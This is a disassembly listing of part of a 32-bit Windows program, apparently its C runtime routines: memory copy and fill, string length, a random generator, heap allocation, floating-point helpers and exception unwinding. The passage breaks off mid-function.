mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_40C7A9
test dl, dl
jz short loc_40C7FB
test dh, dh
jz short loc_40C7F1
test edx, 0FF0000h
jz short loc_40C7E7
test edx, 0FF000000h
jnz short loc_40C7A9
mov [edi], edx
jmp short loc_40C7FF
; ---------------------------------------------------------------------------
loc_40C7E7: ; CODE XREF: sub_40C720+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_40C7FF
; ---------------------------------------------------------------------------
loc_40C7F1: ; CODE XREF: sub_40C720+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_40C7FF
; ---------------------------------------------------------------------------
loc_40C7FB: ; CODE XREF: sub_40C720+ADj
xor edx, edx
mov [edi], edx
loc_40C7FF: ; CODE XREF: sub_40C720+C5j
; sub_40C720+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_40C811
loc_40C807: ; CODE XREF: sub_40C720+79j
xor eax, eax
loc_40C809: ; CODE XREF: sub_40C720+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_40C809
loc_40C811: ; CODE XREF: sub_40C720+E5j
and ebx, 3
jnz short loc_40C79B
loc_40C816: ; CODE XREF: sub_40C720+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_40C720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C820 proc far ; CODE XREF: sub_4013CA+15p
; sub_4013CA+3Bp ...
arg_FFFFFFFC = dword ptr 8
arg_0 = dword ptr 0Ch
arg_4 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov edi, [ebp+arg_FFFFFFFC]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_40C840
cmp edi, eax
jb loc_40C9B8
loc_40C840: ; CODE XREF: sub_40C820+16j
test edi, 3
jnz short loc_40C85C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40C87C
rep movsd
jmp off_40C968[edx*4]
; ---------------------------------------------------------------------------
loc_40C85C: ; CODE XREF: sub_40C820+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_40C874
and eax, 3
add ecx, eax
jmp dword ptr loc_40C87C+4[eax*4]
; ---------------------------------------------------------------------------
loc_40C874: ; CODE XREF: sub_40C820+46j
jmp dword ptr loc_40C978[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40C87C: ; CODE XREF: sub_40C820+31j
; sub_40C820+8Ej ...
jmp off_40C8FC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0C8h, 40h, 0
dd offset loc_40C8BC
dd offset loc_40C8E0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_40C87C
rep movsd
jmp off_40C968[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40C8BC: ; DATA XREF: sub_40C820+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_40C87C
rep movsd
jmp off_40C968[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40C8E0: ; DATA XREF: sub_40C820+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_40C87C
rep movsd
jmp off_40C968[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40C8FC dd offset loc_40C95F ; DATA XREF: sub_40C820:loc_40C87Cr
dd offset loc_40C94C
dd offset loc_40C944
dd offset loc_40C93C
dd offset loc_40C934
dd offset loc_40C92C
dd offset loc_40C924
dd offset loc_40C91C
; ---------------------------------------------------------------------------
loc_40C91C: ; CODE XREF: sub_40C820:loc_40C87Cj
; DATA XREF: sub_40C820+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_40C924: ; CODE XREF: sub_40C820:loc_40C87Cj
; DATA XREF: sub_40C820+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_40C92C: ; CODE XREF: sub_40C820:loc_40C87Cj
; DATA XREF: sub_40C820+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_40C934: ; CODE XREF: sub_40C820:loc_40C87Cj
; DATA XREF: sub_40C820+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_40C93C: ; CODE XREF: sub_40C820:loc_40C87Cj
; DATA XREF: sub_40C820+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_40C944: ; CODE XREF: sub_40C820:loc_40C87Cj
; DATA XREF: sub_40C820+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_40C94C: ; CODE XREF: sub_40C820:loc_40C87Cj
; DATA XREF: sub_40C820+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40C95F: ; CODE XREF: sub_40C820:loc_40C87Cj
; DATA XREF: sub_40C820:off_40C8FCo
jmp off_40C968[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40C968 dd offset loc_40C978 ; DATA XREF: sub_40C820+35r
; sub_40C820+92r ...
dd offset loc_40C980
dd offset loc_40C98C
dd offset loc_40C9A0
; ---------------------------------------------------------------------------
loc_40C978: ; CODE XREF: sub_40C820+35j
; sub_40C820+92j ...
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_40C980: ; CODE XREF: sub_40C820+35j
; sub_40C820+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40C98C: ; CODE XREF: sub_40C820+35j
; sub_40C820+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_40C9A0: ; CODE XREF: sub_40C820+35j
; sub_40C820+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40C9B8: ; CODE XREF: sub_40C820+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_40C9EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40C9E0
std
rep movsd
cld
jmp off_40CB00[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40C9E0: ; CODE XREF: sub_40C820+1B1j
; sub_40C820+208j ...
neg ecx
jmp off_40CAB0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40C9EC: ; CODE XREF: sub_40C820+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_40CA04
and eax, 3
sub ecx, eax
jmp dword ptr loc_40CA04+4[eax*4]
; ---------------------------------------------------------------------------
loc_40CA04: ; CODE XREF: sub_40C820+1D6j
; DATA XREF: sub_40C820+1DDr
jmp off_40CB00[ecx*4]
; ---------------------------------------------------------------------------
align 4
sbb dl, cl
inc eax
add [eax], bh
retf 40h
; ---------------------------------------------------------------------------
pusha
retf 40h
; ---------------------------------------------------------------------------
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_40C9E0
std
rep movsd
cld
jmp off_40CB00[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_40C9E0
std
rep movsd
cld
jmp off_40CB00[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_40C9E0
std
rep movsd
cld
jmp off_40CB00[edx*4]
; ---------------------------------------------------------------------------
align 4
mov ah, 0CAh
inc eax
add [edx+ecx*8-353BFFC0h], bh
inc eax
add ah, cl
retf 40h
; ---------------------------------------------------------------------------
aam 0CAh
inc eax
add ah, bl
retf 40h
; ---------------------------------------------------------------------------
dd offset loc_40CAE4
off_40CAB0 dd offset loc_40CAF7 ; DATA XREF: sub_40C820+1C2r
; ---------------------------------------------------------------------------
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_40CAE4: ; DATA XREF: sub_40C820+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40CAF7: ; CODE XREF: sub_40C820+1C2j
; DATA XREF: sub_40C820:off_40CAB0o
jmp off_40CB00[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_40CB00 dd offset loc_40CB10 ; DATA XREF: sub_40C820+1B7r
; sub_40C820:loc_40CA04r ...
dd offset loc_40CB18
dd offset loc_40CB28
dd offset loc_40CB3C
; ---------------------------------------------------------------------------
loc_40CB10: ; CODE XREF: sub_40C820+1B7j
; sub_40C820:loc_40CA04j ...
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CB18: ; CODE XREF: sub_40C820+1B7j
; sub_40C820:loc_40CA04j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CB28: ; CODE XREF: sub_40C820+1B7j
; sub_40C820:loc_40CA04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CB3C: ; CODE XREF: sub_40C820+1B7j
; sub_40C820:loc_40CA04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
sub_40C820 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40CB55 proc near ; CODE XREF: sub_40154B+33p
; sub_403E11+54p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_41FC30, eax
retn
sub_40CB55 endp
; =============== S U B R O U T I N E =======================================
sub_40CB5F proc near ; CODE XREF: sub_401412+4Dp
; sub_401412+5Ap ...
mov eax, dword_41FC30
imul eax, 343FDh
add eax, 269EC3h
mov dword_41FC30, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_40CB5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB7D proc near ; CODE XREF: sub_401412+40p
; sub_403E11+24Cp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_40CBC0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_40F5E2
add esp, 10h
leave
retn
sub_40CB7D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CBC0 proc near ; CODE XREF: sub_401412+19p
; sub_401B3F+7p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_40CBE0
loc_40CBCC: ; CODE XREF: sub_40CBC0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_40CC13
test ecx, 3
jnz short loc_40CBCC
add eax, 0
loc_40CBE0: ; CODE XREF: sub_40CBC0+Aj
; sub_40CBC0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40CBE0
mov eax, [ecx-4]
test al, al
jz short loc_40CC31
test ah, ah
jz short loc_40CC27
test eax, 0FF0000h
jz short loc_40CC1D
test eax, 0FF000000h
jz short loc_40CC13
jmp short loc_40CBE0
; ---------------------------------------------------------------------------
loc_40CC13: ; CODE XREF: sub_40CBC0+11j
; sub_40CBC0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40CC1D: ; CODE XREF: sub_40CBC0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40CC27: ; CODE XREF: sub_40CBC0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40CC31: ; CODE XREF: sub_40CBC0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_40CBC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CC40 proc near ; CODE XREF: sub_401965+1Ap
; sub_40199F+22p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_40CC93
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_40CC87
neg ecx
and ecx, 3
jz short loc_40CC69
sub edx, ecx
loc_40CC63: ; CODE XREF: sub_40CC40+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_40CC63
loc_40CC69: ; CODE XREF: sub_40CC40+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_40CC87
rep stosd
test edx, edx
jz short loc_40CC8D
loc_40CC87: ; CODE XREF: sub_40CC40+18j
; sub_40CC40+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_40CC87
loc_40CC8D: ; CODE XREF: sub_40CC40+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40CC93: ; CODE XREF: sub_40CC40+Aj
mov eax, [esp+arg_0]
retn
sub_40CC40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CCA0 proc near ; CODE XREF: sub_402972+5p
; sub_403CA3+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_40CCC0
loc_40CCAC: ; CODE XREF: sub_40CCA0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_40CCAC
loc_40CCC0: ; CODE XREF: sub_40CCA0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_40CCA0 endp
; =============== S U B R O U T I N E =======================================
sub_40CCCF proc near ; CODE XREF: sub_401965+Ap
; sub_40199F+12p ...
arg_0 = dword ptr 4
push dword_481E14
push [esp+4+arg_0]
call sub_40CCE1
pop ecx
pop ecx
retn
sub_40CCCF endp
; =============== S U B R O U T I N E =======================================
sub_40CCE1 proc near ; CODE XREF: sub_40CCCF+Ap
; sub_40D795+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_40CD0A
loc_40CCE8: ; CODE XREF: sub_40CCE1+27j
push [esp+arg_0]
call sub_40CD0D
test eax, eax
pop ecx
jnz short locret_40CD0C
cmp [esp+arg_4], eax
jz short locret_40CD0C
push [esp+arg_0]
call sub_410093
test eax, eax
pop ecx
jnz short loc_40CCE8
loc_40CD0A: ; CODE XREF: sub_40CCE1+5j
xor eax, eax
locret_40CD0C: ; CODE XREF: sub_40CCE1+13j
; sub_40CCE1+19j
retn
sub_40CCE1 endp
; =============== S U B R O U T I N E =======================================
sub_40CD0D proc near ; CODE XREF: sub_40CCE1+Bp
arg_0 = dword ptr 4
mov eax, dword_483428
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_40CD31
cmp esi, dword_483420
ja short loc_40CD63
push esi
call sub_41061C
test eax, eax
pop ecx
jz short loc_40CD63
pop esi
retn
; ---------------------------------------------------------------------------
loc_40CD31: ; CODE XREF: sub_40CD0D+Dj
cmp eax, 2
jnz short loc_40CD63
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_40CD46
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_40CD49
; ---------------------------------------------------------------------------
loc_40CD46: ; CODE XREF: sub_40CD0D+2Fj
push 10h
pop esi
loc_40CD49: ; CODE XREF: sub_40CD0D+37j
cmp esi, dword_421CB4
ja short loc_40CD70
mov eax, esi
shr eax, 4
push eax
call sub_4110BF
test eax, eax
pop ecx
jnz short loc_40CD7F
jmp short loc_40CD70
; ---------------------------------------------------------------------------
loc_40CD63: ; CODE XREF: sub_40CD0D+15j
; sub_40CD0D+20j ...
test esi, esi
jnz short loc_40CD6A
push 1
pop esi
loc_40CD6A: ; CODE XREF: sub_40CD0D+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_40CD70: ; CODE XREF: sub_40CD0D+42j
; sub_40CD0D+54j
push esi
push 0
push dword_483424
call dword_418110 ; RtlAllocateHeap
loc_40CD7F: ; CODE XREF: sub_40CD0D+52j
pop esi
retn
sub_40CD0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD81 proc near ; CODE XREF: sub_4019F4+Ap
; sub_401A0D+73p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_40CDE7
mov eax, dword_483428
cmp eax, 3
jnz short loc_40CDAD
push esi
call sub_4102C8
pop ecx
test eax, eax
push esi
jz short loc_40CDD9
push eax
call sub_4102F3
pop ecx
pop ecx
jmp short loc_40CDE7
; ---------------------------------------------------------------------------
loc_40CDAD: ; CODE XREF: sub_40CD81+14j
cmp eax, 2
jnz short loc_40CDD8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_411023
add esp, 0Ch
test eax, eax
jz short loc_40CDD8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41107A
add esp, 0Ch
jmp short loc_40CDE7
; ---------------------------------------------------------------------------
loc_40CDD8: ; CODE XREF: sub_40CD81+2Fj
; sub_40CD81+44j
push esi
loc_40CDD9: ; CODE XREF: sub_40CD81+20j
push 0
push dword_483424
call dword_418114 ; RtlFreeHeap
loc_40CDE7: ; CODE XREF: sub_40CD81+Aj
; sub_40CD81+2Aj ...
pop esi
leave
retn
sub_40CD81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40CDEA(double)
sub_40CDEA proc near ; CODE XREF: sub_402112+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_41FC40
call sub_411CBC
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_40CE70
call sub_411B84
pop ecx
test eax, eax
pop ecx
jle short loc_40CE53
cmp eax, 2
jle short loc_40CE45
cmp eax, 3
jnz short loc_40CE53
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_411494
add esp, 10h
jmp short loc_40CEB5
; ---------------------------------------------------------------------------
loc_40CE45: ; CODE XREF: sub_40CDEA+3Fj
push esi
push ebx
call sub_411CBC
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40CEB5
; ---------------------------------------------------------------------------
loc_40CE53: ; CODE XREF: sub_40CDEA+3Aj
; sub_40CDEA+44j
fld [ebp+arg_0]
fadd dbl_418638
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_40CEAD
; ---------------------------------------------------------------------------
loc_40CE70: ; CODE XREF: sub_40CDEA+2Fj
call sub_411B49
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_40CE93
loc_40CE85: ; CODE XREF: sub_40CDEA+ACj
push esi
push ebx
call sub_411CBC
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_40CEB5
; ---------------------------------------------------------------------------
loc_40CE93: ; CODE XREF: sub_40CDEA+99j
test bl, 20h
jnz short loc_40CE85
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_40CEAD: ; CODE XREF: sub_40CDEA+84j
call sub_4114E7
add esp, 1Ch
loc_40CEB5: ; CODE XREF: sub_40CDEA+59j
; sub_40CDEA+67j ...
pop esi
pop ebx
leave
retn
sub_40CDEA endp
; =============== S U B R O U T I N E =======================================
sub_40CEB9 proc near ; CODE XREF: sub_40E785+9p
; sub_411D85+21p
; DATA XREF: ...
call sub_40CED1
call sub_411D85
mov dword_481D98, eax
call sub_411D35
fnclex
retn
sub_40CEB9 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40CED1 proc near ; CODE XREF: sub_40CEB9p
mov eax, offset sub_412173
mov off_421DD4, offset sub_411E08
mov off_421DD0, eax
mov off_421DD8, offset sub_411E6E
mov off_421DDC, offset sub_411DAE
mov off_421DE0, offset sub_411E56
mov off_421DE4, eax
retn
sub_40CED1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF0C proc near ; CODE XREF: sub_402112+1Bp
; sub_402112+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_40CF0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40CF33(double)
sub_40CF33 proc near ; CODE XREF: sub_40215E+83p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_41FC58
call sub_411CBC
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_40CFB9
call sub_411B84
pop ecx
test eax, eax
pop ecx
jle short loc_40CF9C
cmp eax, 2
jle short loc_40CF8E
cmp eax, 3
jnz short loc_40CF9C
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_411494
add esp, 10h
jmp short loc_40CFFE
; ---------------------------------------------------------------------------
loc_40CF8E: ; CODE XREF: sub_40CF33+3Fj
push esi
push ebx
call sub_411CBC
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40CFFE
; ---------------------------------------------------------------------------
loc_40CF9C: ; CODE XREF: sub_40CF33+3Aj
; sub_40CF33+44j
fld [ebp+arg_0]
fadd dbl_418638
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_40CFF6
; ---------------------------------------------------------------------------
loc_40CFB9: ; CODE XREF: sub_40CF33+2Fj
call sub_411B49
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_40CFDC
loc_40CFCE: ; CODE XREF: sub_40CF33+ACj
push esi
push ebx
call sub_411CBC
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_40CFFE
; ---------------------------------------------------------------------------
loc_40CFDC: ; CODE XREF: sub_40CF33+99j
test bl, 20h
jnz short loc_40CFCE
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_40CFF6: ; CODE XREF: sub_40CF33+84j
call sub_4114E7
add esp, 1Ch
loc_40CFFE: ; CODE XREF: sub_40CF33+59j
; sub_40CF33+67j ...
pop esi
pop ebx
leave
retn
sub_40CF33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D002 proc near ; CODE XREF: sub_4125E4+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_40D002 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_40D036 proc near ; CODE XREF: sub_412795+199p
; sub_412959+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_40D036 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D03D proc near ; CODE XREF: sub_412795+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_40D03D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D044 proc near ; CODE XREF: sub_40D1F6+5Cp
; sub_4125E4:loc_412615p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_40D06C
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_417A7E ; RtlUnwind
loc_40D06C: ; DATA XREF: sub_40D044+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_40D044 endp
; ---------------------------------------------------------------------------
loc_40D093: ; CODE XREF: .nsp0:00417BDCj
; .nsp0:00417BF9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4121E9
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D0C9 proc near ; CODE XREF: sub_41265F+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_40D11D
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
